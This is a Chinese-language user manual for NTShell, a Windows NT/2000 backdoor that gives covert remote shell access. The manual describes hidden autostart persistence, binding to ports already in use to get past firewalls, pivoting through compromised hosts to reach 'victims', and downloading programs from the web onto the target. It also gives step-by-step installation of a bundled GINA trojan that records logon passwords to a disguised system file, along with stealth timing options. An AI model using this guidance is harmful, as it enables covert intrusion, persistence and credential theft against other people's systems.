NT Shell 1.0+ 使用说明

主页    简介    增强功能    使用方法   注意事项   历史更新


 

简介

    NTShell是一个Window NT/2000下的类似telnet服务端的程序,当你用telnet客户端和该程序连接后, 就可以使用任何命令行的程序了。实现这一功能的程序最初就是著名的netcat、ncx(从netcat里提出telnet服务端功能的一个程序, 有ncx和ncx99两个版本,现已被金山毒霸列为木马)。不过ncx只实现了这一功能,使用时不大方便,比如文件的上传和下载就和麻烦, 客户端要和服务端交换文件必须客户端有ftp服务或者使用其他ftp中转站(更加麻烦了),而且windows的ftp.exe程序非常特殊, 在这种情况下使用非常不方便。因此我开发了这个NTShell程序,这个程序除了支持类似telnet的功能之外,还内建了其他有用的命令和命令行选项, 具体内容和使用方法可以看NTShell的帮助,运行环境只有Windows NT和Windows 2000。

    NTShell最主要的内置命令包括直接上传文件、下载文件、进程管理、添加自动运行、 安装窃听登录密码的木马。然而由于标准的telnet客户端不能理解NTShell的上传和下载文件通信,因此我还开发了NTShell的客户端, 否则不能使用直接上传和下载文件功能。我也推荐使用这个客户端,因为除了此功能外,NTShellc还有命令行缓冲和命令行编辑(一次命令只 有在回车后才发送,在此之前如果输入错误可以更改;而使用标准的telnet,你没一次按键都会发给服务器,因此有时很不方便)功能。 它可以在各个Windows系统里运行,详细情况见NTShellc的帮助

    本版ntshell不是console程序,因此没有窗口,主要是为了在自动启动时的隐蔽性。而且在1.0正式版中, 如果使用exit命令退出,或者强行关闭客户端,服务端将继续监听连接;服务端退出的方法是使用?quit命令 或者杀死ntshell进程。

    更改了调用psapi.dll的方法,如果没有该文件,NTShell服务端可以正常运行。

 

使用平台

    服务端:Win NT、Win2000, 52K

 

增强功能                                  top

   安装窃取登录密码的木马、上传文件、下载文件、从WEB上下载文件、进程管理、添加自动启动的几大功能。 还有口令控制、自设任意监听端口、自设连接超时值、重叠端口(可以重叠一般的服务端口,有时可以绕过防火墙)等。

    1.0正式版中附带了一个NTShellGINA.dll木马。服务端和客户端的运行不需要该动态连接库,它只用于在目标机上安装。 如果安装成功,系统重启后,登录密码就会被NTShellGINA存储在%systemroot%\system32\msole32.srg文件里,格式是UserName:Password:Domain

    安装方式有两种。
1.把TShellGINA.dll拷贝到%systemroot%\system32下的mshtmlgi.dll,并且在HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon下设置GINADLL的键值为mshtmlgi.dll。

2.%systemroot%\system32下的msgina.dll改名为mslogon32.dll,然后把NTShellGINA.dll拷贝成msgina.dll。当然在win2k下, 还把%systemroot%\system32\dllcache下的msgina.dll改名为mslogon32.dll


在进行安装时进行了以下检测,以免安装失误,造成系统不能启动:

    如果Winlogon下已经设置了GINADLL的键值,将不予安装新的NTShellGINA。

    在第二种方式中,如果msgina.dllNT和ShellGINA.dll的内容相同,则认为已经安装,不予安装。 而如果mshtmlgi.dll已经存在也不予安装。

这样作,主要是为了系统的安全,如果重复使用第二种方法安装就会是NT/2K系统不能登录。

因此使用时要慎重,并且注意提示信息,如果操作不当,可能会导致Winnt或Win2000不能启动。 因此作试验时,最好在系统为FAT分区或者有多个支持NTFS分区的系统上。并且事先备份MSGina.dll,如果操作失误,一定在重启之前恢复。

 

    本程序是单连接的,我不想一个人运行了服务端,任何人都可以和该服务端连接,也因此加上了口令控制。客户端连接上后,服务器没有任何提示, 输入口令后,正确则继续,否则关闭连接,继续监听。输入完口令可能会需要两次回车。

    程序可以监听任意端口(除了系统占用的NetBios等端口),即使这个端口已经使用,因此基本上可以绕过防火墙, 你可以让他监听一个对外提供服务的端口,比如Web的80。在你正确连接后,其他人还可以使用web服务。除非对方使用防火墙阻塞了其他端口, 建议每次传送文件时使用其他端口(通过传输文件的命令指定)。当然这也带来一点问题,就是监听是不能监听任意IP地址,必须指定一个, 对于多网卡的主机会有点问题;同时不能使用127.0.0.x进行连接(如果在同一个机器上作试验的话),这个好像可以避免,因为ncx99就可以, 不过我还没找到,如果那位知道,请指教。

    1.0 Beta版中可以使用跳板功能,但是有点限制。使用情况如下:攻击者A使用客户端和跳板B的服务端连接, 然后再在B上运行客户端,和受害者C的服务端连接。攻击者不能在B的客户端和C的服务端之间使用NTShell内置的命令, 因为A输入时会在B的服务端抢先解释,不会传到C。

    在这一版中,在A和B之间使用内置命令时,可以使用带一个?的命令;而在B和C使用内置命令时,在命令前多加一个?即可。

    例如:要把A上的文件afile上传到C。先使用?put afile,把文件上传到B的当前目录;然后再用??put afile,把文件从B上传到C。其他命令也是一样。

 

使用方法                                  top

    内建的命令都是以'?'开头,在命令行上输入'?help'可以查看命令帮助列表,命令不分大小写。 共有以下几个命令,其中由于标准的telnet不支持文件传输,因此前两个命令就是文件互传,必须使用附带的客户端才能实现。 同时虽然在文件传输时,你可以运行其他命令,但是同一时刻只能有一个文件在传输(也就是前一个get,put,httpget命令没完成, 就不能再执行这3个命令中的任意一个),这主要是因为我为了编程方便,而且我觉得也没必要多个文件同时传输,不过如果有必要,以后可以考虑。

?autorun [name file "args"] --- 将本程序添加到自动运行,将检查所有已知位
        置(先是注册表);name是一个项名,file是程序名(当然也可以是其他
        程序),args是程序的参数列表,一定要用""括起来。缺省是NTKernel 
        ntshell.exe "-w 10"。
?canceldata             --- 终止刚才传输的文件
?chdir <dir>            --- 更改服务器的当前目录,不加参数查看当前目录,可以是网上邻居中的共享
?get <file> [port]      --- 从服务器下载文件,可以指定使用服务器使用[port]端口传输
?help                   --- 查看命令帮助列表
?httpget <host> <url>   --- 从 'host'主机上下载文件 'url', 必须以根'/'开始
         例如httpget http://192.168.0.1 / hackdir/hackprog.exe,可以没有http://

?pskill PID            --- 杀死指定PID的进程

?pslist                --- 列出当前系统中的所有进程,如果是guests组可能很多进程不能获得详细信息
?put <file> [port]      --- 上传文件到服务器,可以指定使用服务器使用[port]端口传输
?quit                   --- 服务器端退出,相当于使用exit命令,不过如果执行
                             了copy con abc这样的坏内部命令,你就不能在使用exit命令
                             了,可以使用quit退出

?restart [<user> [pass]]--- 以user身份重启动shell,不过本版本只能重起
        shell,不能以指定的用户运行。原因是使用CreateProcessAsUser创建进  
        程时权限不足,即使原来是admin也不行
?sysinfor     --- 获得系统的信息,现在只有os的简短信息

?installgina --- 安装随NTShell附带的NTShellGINA木马。如果安装成功,系统重启后, 登录密码就会存储在%systemroot%\system32\msole32.srg文件里,格式是UserName:Password:Domain

注意慎用此功能,并且注意提示信息,如果操作不当,可能会导致Winnt或Win2000不能启动。 因此作试验时,最好在系统为FAT分区或者有多个支持NTFS分区的系统上。

 

    程序支持的参数为(使用'?use'参数可以查看该列表,不使用‘/?’或‘-?’来实现是因为一旦把它留在服务器上, 敌方运行该程序查看到程序功能的话,就糟了)

ntshell [-listen Listenport] [-time Timeout] [-pass Password] [-show] [-wait WInterval] [-until time] [-last LInterval]

-listen Listenport  --- 指定监听的端口,缺省值是22
-time Timeout       --- 指定超时的秒数,缺省值是180
-pass Password      --- 指定连接的口令,如果含有空格,使用" "包含口
            令; 缺省值是"let me in"

-show             ---显示一个console窗口,用户可以通过关闭该窗口结束本程序
-wait WInterval   ---在程序运行后,先等待WInterval分钟,然后监听端口
-until hour:minu --- 在程序运行后,直到hour:minu时才监听端口
-last LInterval   --- 在程序监听端口后,如果LInterval分钟内没有连接,将
            结束程序

最后三项是为了增加程序的隐蔽性,以避免在通常情况下使用程序发现监听的进程

 

注意事项                                   top

1.在互传文件时,服务器和客户端均有当前目录,其中服务器的当前目录和提示符不一 样(两个进程), 你可以使用'?chdir'来查看,或者更改;客户端的当前目录没有命令更改,在客户端开始运行时会提示,也可以使用'?put notexistfile'命令随时查看。

2.不能处理路径名有空格的情况,请使用8.3格式(以后不会)

3.使用HTTPGET时,如果不是一级域名,仔细确定url部分

4.同时虽然在文件传输时,你可以运行其他命令,但是同一时刻只能有一个文件在传输

 

已知问题

1.不能处理路径名有空格的情况,请使用8.3格式

2.不能以指定的用户重起shell,原因是使用CreateProcessAsUser创建进程时权限不足

3.有时会出现客户端可以输入,但没有反映的现象。此几率较小,我正在定位原因

 

具体使用可以参看ntshell使用示例.txt

 

历史更新

1.0正式版:

    1.增加了NTShellGINA动态链接库,可以获取系统登录密码

    2.增强了使用跳板的功能,可以任意两个相互连接的客户端与服务端之间使用内置命令

    3.如果使用exit命令退出,或者强行关闭客户端,服务端将继续监听连接; 服务端退出的方法是使用?quit命令或者杀死ntshell进程。

    4.在使用 ?pslist列当前系统中的所有进程时, 把NTShell和它所使用的CMD进程用*标出,以便于用?pskill 杀进程时区分。

 

1.0正式版+:

    1.更改了调用psapi.dll的方法,如果没有该文件, NTShell服务端可以正常运行,客户连接后会提示没有psapi.dll,进程管理功能不能使用。 可以随时上传NTShell附带的psapi,就可以使用进程管理命令了。

 

联系方式                                   top

如果有任何建议或意见请

个人网站:BingleSite.net